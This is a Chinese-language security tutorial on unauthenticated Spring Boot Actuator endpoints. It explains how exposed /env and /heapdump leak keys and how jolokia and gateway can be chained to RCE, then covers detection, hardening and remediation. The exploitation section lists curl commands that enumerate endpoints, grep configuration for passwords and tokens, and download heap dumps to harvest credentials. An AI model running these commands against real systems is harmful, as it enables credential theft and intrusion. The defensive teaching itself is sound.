Spring Boot Actuator 信息泄露与未授权访问

Spring Boot Actuator 管理端点未认证的利用:环境变量/密钥泄露、heapdump、jolokia 与 gateway 组合 RCE,完整讲解原理、影响、利用、检测、防御与修复。

写在前面:合法学习边界

Actuator 端点利用只允许在授权环境进行。读取真实系统的密钥、dump 内存可能触犯法律。

一、漏洞原理

Spring Boot Actuator 默认暴露一系列管理端点,用于健康检查、配置查看、指标等。如果生产环境未认证就把端点暴露到公网,就变成信息泄露甚至 RCE 入口。

常见端点:

1
2
3
4
5
6
7
8
/actuator            # 端点列表
/actuator/env        # 环境变量与配置(可能含密钥)
/actuator/heapdump   # 堆内存 dump(可提取密码/Token)
/actuator/mappings   # 接口列表
/actuator/beans      # Bean 信息
/actuator/configprops
/actuator/jolokia    # JMX 访问(可组合 RCE)
/actuator/gateway    # 网关路由(配合 SpEL RCE)

二、影响与危害

1
2
3
4
数据库密码、AK/SK、Token 泄露
堆内存 dump 提取敏感凭据
接口信息暴露,扩大攻击面
组合端点直接 RCE(jolokia、gateway)

风险等级:高到严重。

三、利用 / 复现

端点枚举

1
2
3
4
5
curl http://目标/actuator
curl http://目标/actuator/env
curl http://目标/actuator/health
curl http://目标/actuator/mappings
curl http://目标/actuator/beans

提取密钥

1
2
3
4
# 环境变量/配置里的密码与 token
curl http://目标/actuator/env | grep -iE 'password|secret|key|token'
# heapdump 下载后用工具分析
curl -o heap.hprof http://目标/actuator/heapdump

组合 RCE

1
2
jolokia:通过 JMX 执行操作(历史上有 RCE 链)
gateway:Spring Cloud Gateway 的 /actuator/gateway 路由注入 SpEL(见本站 Spring Cloud Gateway 篇)

四、检测

1
2
3
4
探测 /actuator 及常见子端点是否存在
响应中泄露配置/堆栈/端点信息
日志中访问 /actuator 的异常来源
指纹确认 Spring Boot 版本

五、防御

1
2
3
4
生产环境禁用 Actuator 或仅内网访问
对端点加认证(management.endpoints.web.exposure.include 最小化)
敏感端点(env/heapdump)单独关闭
网关/外网隔离管理端口

六、修复

1
2
3
4
配置 management.endpoints.enabled-by-default=false,只开必要端点
添加 Spring Security 保护 /actuator/**
清理已泄露的密钥并轮换
修复后复测:未认证访问被拒

七、小结

Spring Boot 的 Actuator 是“双刃剑”:运维方便,暴露即灾难。它是 Spring 家族里最常见的信息泄露面,渗透时先扫 /actuator,防守时先关端点、再加认证。